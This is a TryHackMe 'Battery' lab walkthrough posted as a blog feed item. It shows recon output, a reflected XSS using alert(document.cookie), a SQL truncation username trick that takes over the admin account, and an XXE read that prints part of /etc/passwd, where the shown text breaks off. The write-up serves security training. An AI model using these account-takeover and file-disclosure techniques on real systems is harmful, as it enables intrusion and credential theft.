<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Mikail Kakabayev</title>
    <description>The latest articles on Forem by Mikail Kakabayev (@kaaayii).</description>
    <link>https://forem.com/kaaayii</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3915253%2F0005557c-4ec9-4716-a77e-95c4ebbd8003.png</url>
      <title>Forem: Mikail Kakabayev</title>
      <link>https://forem.com/kaaayii</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/kaaayii"/>
    <language>en</language>
    <item>
      <title>TryHackMe | Battery | WALKTHROUGH</title>
      <dc:creator>Mikail Kakabayev</dc:creator>
      <pubDate>Sat, 23 May 2026 14:24:59 +0000</pubDate>
      <link>https://forem.com/kaaayii/tryhackme-battery-walkthrough-4d4d</link>
      <guid>https://forem.com/kaaayii/tryhackme-battery-walkthrough-4d4d</guid>
      <description>&lt;p&gt;&lt;strong&gt;LAB:&lt;/strong&gt; Battery&lt;br&gt;
&lt;strong&gt;DIFFICULTY:&lt;/strong&gt; Medium&lt;br&gt;
&lt;strong&gt;TARGET:&lt;/strong&gt; flag1.txt, flag2.txt, root.txt&lt;br&gt;
&lt;strong&gt;TOOLS:&lt;/strong&gt; Nmap, Gobuster, BurpSuite&lt;br&gt;
&lt;strong&gt;VULNERABLE:&lt;/strong&gt; SQL Truncation Attack, XML External Entity Injection&lt;/p&gt;

&lt;p&gt;First, let's do some recon using NMAP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;-sC - Default script scan&lt;/li&gt;
&lt;li&gt;-sV - Version detection&lt;/li&gt;
&lt;li&gt;-O - OS detection
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 22:13 +0800
Nmap scan report for {LABS_IP_ADDRESS}
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C
OS:3%P=x86_64-apple-darwin23.6.0)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS
OS:=8)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10D
OS:%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP
OS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW6%O2=M4E8ST11NW6
OS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11)WIN(W1=68DF%W
OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NN
OS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.38 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here we got open ports: &lt;code&gt;ssh/22&lt;/code&gt; &amp;amp; &lt;code&gt;http/80&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, i'm going to check whats in port 80:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi5ceellui29ifjuka0yx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi5ceellui29ifjuka0yx.png" alt=" " width="800" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://{LABS_IP_ADDRESS}/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 288]
.hta                 (Status: 403) [Size: 283]
.htpasswd            (Status: 403) [Size: 288]
**admin.php            (Status: 200) [Size: 663]**
index.html           (Status: 200) [Size: 406]
**report               (Status: 200) [Size: 16912]**
&lt;/span&gt;&lt;span class="gp"&gt;**scripts              (Status: 301) [Size: 313] [--&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://&lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt;/scripts/]&lt;span class="k"&gt;**&lt;/span&gt;
&lt;span class="go"&gt;server-status        (Status: 403) [Size: 292]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We got 3 directories to check. Let's start with &lt;code&gt;/admin.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1aych3iqvcdmle44e5lz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1aych3iqvcdmle44e5lz.png" alt=" " width="800" height="570"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tried some fake credentials to make sure if it has &lt;strong&gt;Information Disclosure&lt;/strong&gt;, &lt;strong&gt;Rate Limiting&lt;/strong&gt;, or &lt;strong&gt;SQL Injection&lt;/strong&gt;. But what I found instead is that the login page has &lt;strong&gt;a 12-character input limit&lt;/strong&gt; on the username field. We will come back here but first let's register and check how admin panel looks like.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw0jbm4i08csb78cy6hlv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw0jbm4i08csb78cy6hlv.png" alt=" " width="576" height="770"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnazia2z9tyja0k3iun15.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnazia2z9tyja0k3iun15.png" alt=" " width="800" height="568"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I discovered reflected XSS in the &lt;strong&gt;Account Number&lt;/strong&gt; parameter of the &lt;strong&gt;Transfer Money&lt;/strong&gt; endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute &lt;code&gt;alert(document.cookie)&lt;/code&gt; and view John's &lt;em&gt;(which we registered as)&lt;/em&gt; session cookie.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F881b7hi2jskl0ral8aju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F881b7hi2jskl0ral8aju.png" alt=" " width="799" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F973qlbvp25ai38ztywhx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F973qlbvp25ai38ztywhx.png" alt=" " width="800" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also discovered that the app is vulnerable to &lt;strong&gt;HTML injection&lt;/strong&gt;. By inserting HTML tags into the input field, I was able to alter the page's content and inject custom messages — including the 'HACKED!!!' notice shown in the transaction failure message.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ntvv1soav25ub0r19b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ntvv1soav25ub0r19b.png" alt=" " width="800" height="749"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7ay9u3cbl86w419c0lx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7ay9u3cbl86w419c0lx.png" alt=" " width="794" height="164"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before diving deeper, let's check what we got in &lt;code&gt;/report&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When you visit &lt;code&gt;http://{LABS_IP_ADDRESS}/report&lt;/code&gt; it gives you a file called &lt;code&gt;report&lt;/code&gt;. It's an executable file. We can just hit &lt;code&gt;strings&lt;/code&gt; or go with Ghidra. I always start with simple, so let's use &lt;code&gt;strings&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/lib64/ld-linux-x86-64.so.2
__isoc99_scanf
puts
printf
system
__cxa_finalize
strcmp
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
admin@bank.a
Password Updated Successfully!
Sorry you can't update the password
Welcome Guest
===================Available Options==============
1. Check users
2. Add user
3. Delete user
4. change password
5. Exit
clear
===============List of active users================
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
Welcome To ABC DEF Bank Managemet System!
UserName : 
Password : 
guest
Your Choice : 
email : 
not available for guest account
Wrong option
Wrong username or password
;*3$"
GCC: (Debian 9.3.0-15) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
report.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
update
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
options
system@@GLIBC_2.2.5
users
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have active users listed here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But first let's check how the system works using &lt;code&gt;Ghidra&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwlhgynhypf3bf087f3up.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwlhgynhypf3bf087f3up.png" alt=" " width="800" height="1070"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I found a hardcoded admin email (&lt;code&gt;admin@bank.a&lt;/code&gt;) inside the &lt;code&gt;update()&lt;/code&gt; function. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I'm denied. This means anyone can extract this email from the binary (using Ghidra or &lt;code&gt;strings&lt;/code&gt;) and then use it to gain admin access — no authentication needed. Now still we need password to login.&lt;/p&gt;

&lt;p&gt;Remember that we had some flaws. We found that there is &lt;strong&gt;12-character limitation&lt;/strong&gt; in login form. We can use it to register as &lt;code&gt;admin@bank.a&lt;/code&gt; . We're going take advantage of &lt;strong&gt;SQL Truncation Flaw&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  IMPORTANT !
&lt;/h2&gt;

&lt;p&gt;First take time to understand the attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  HOW SQL Truncation Flaw WORKS?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The database or application cuts off (truncates) your input after a certain length, and an attacker uses this to bypass security checks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Attack!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The attacker adds extra characters (like spaces) beyond the column limit so the application checks the full input (safe), but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  In our case:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;admin@bank.a______xxx&lt;/code&gt; gets truncated to &lt;code&gt;admin@bank.a&lt;/code&gt;, allowing us to reset the admin's password and login as admin.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now let's HACK ;)&lt;/p&gt;

&lt;p&gt;We go to register page and enter following credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username: admin@bank.a_____xxx -&amp;gt; (spaces after admin as you wish)
password: YourPasswordHere
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now my favorite part.&lt;br&gt;
Let's use BurpSuite.&lt;/p&gt;

&lt;p&gt;You can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to &lt;strong&gt;Proxy&lt;/strong&gt; tab in BurpSuite  and Intercept the request to modify it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhvq8u2uov0qpo0vh5qp6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhvq8u2uov0qpo0vh5qp6.png" alt=" " width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After forwarding the request, we logged in as admin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu92d9p14f6wcxwrxn1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu92d9p14f6wcxwrxn1t.png" alt=" " width="800" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6973qyzd1542rm8yk12x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6973qyzd1542rm8yk12x.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we go to &lt;strong&gt;command&lt;/strong&gt; tab, there is another form. Let's check what happens in the background.If we go to &lt;strong&gt;command&lt;/strong&gt; tab, there is another form. Let's check what happens in the background.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk01w9r4lrovpbwekfzlq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk01w9r4lrovpbwekfzlq.png" alt=" " width="800" height="1047"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is an XML request. Let's simply try &lt;strong&gt;XXE (XML External Entity)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mgiosrcsib4arfqk3mp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mgiosrcsib4arfqk3mp.png" alt=" " width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After sending request. It shows us Linux system file that stores user account information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;root&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;0&lt;/span&gt;:&lt;span class="m"&gt;0&lt;/span&gt;:&lt;span class="n"&gt;root&lt;/span&gt;:/&lt;span class="n"&gt;root&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;span class="n"&gt;daemon&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;1&lt;/span&gt;:&lt;span class="m"&gt;1&lt;/span&gt;:&lt;span class="n"&gt;daemon&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;bin&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="n"&gt;bin&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;3&lt;/span&gt;:&lt;span class="m"&gt;3&lt;/span&gt;:&lt;span class="n"&gt;sys&lt;/span&gt;:/&lt;span class="n"&gt;dev&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;sync&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;4&lt;/span&gt;:&lt;span class="m"&gt;65534&lt;/span&gt;:&lt;span class="n"&gt;sync&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;sync&lt;/span&gt;
&lt;span class="n"&gt;games&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;5&lt;/span&gt;:&lt;span class="m"&gt;60&lt;/span&gt;:&lt;span class="n"&gt;games&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;games&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;man&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;6&lt;/span&gt;:&lt;span class="m"&gt;12&lt;/span&gt;:&lt;span class="n"&gt;man&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;cache&lt;/span&gt;/&lt;span class="n"&gt;man&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;lp&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;7&lt;/span&gt;:&lt;span class="m"&gt;7&lt;/span&gt;:&lt;span class="n"&gt;lp&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;spool&lt;/span&gt;/&lt;span class="n"&gt;lpd&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;mail&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;8&lt;/span&gt;:&lt;span class="m"&gt;8&lt;/span&gt;:&lt;span class="n"&gt;mail&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;mail&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;news&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;9&lt;/span&gt;:&lt;span class="m"&gt;9&lt;/span&gt;:&lt;span class="n"&gt;news&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;spool&lt;/span&gt;/&lt;span class="n"&gt;news&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;uucp&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;10&lt;/span&gt;:&lt;span class="m"&gt;10&lt;/span&gt;:&lt;span class="n"&gt;uucp&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;spool&lt;/span&gt;/&lt;span class="n"&gt;uucp&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
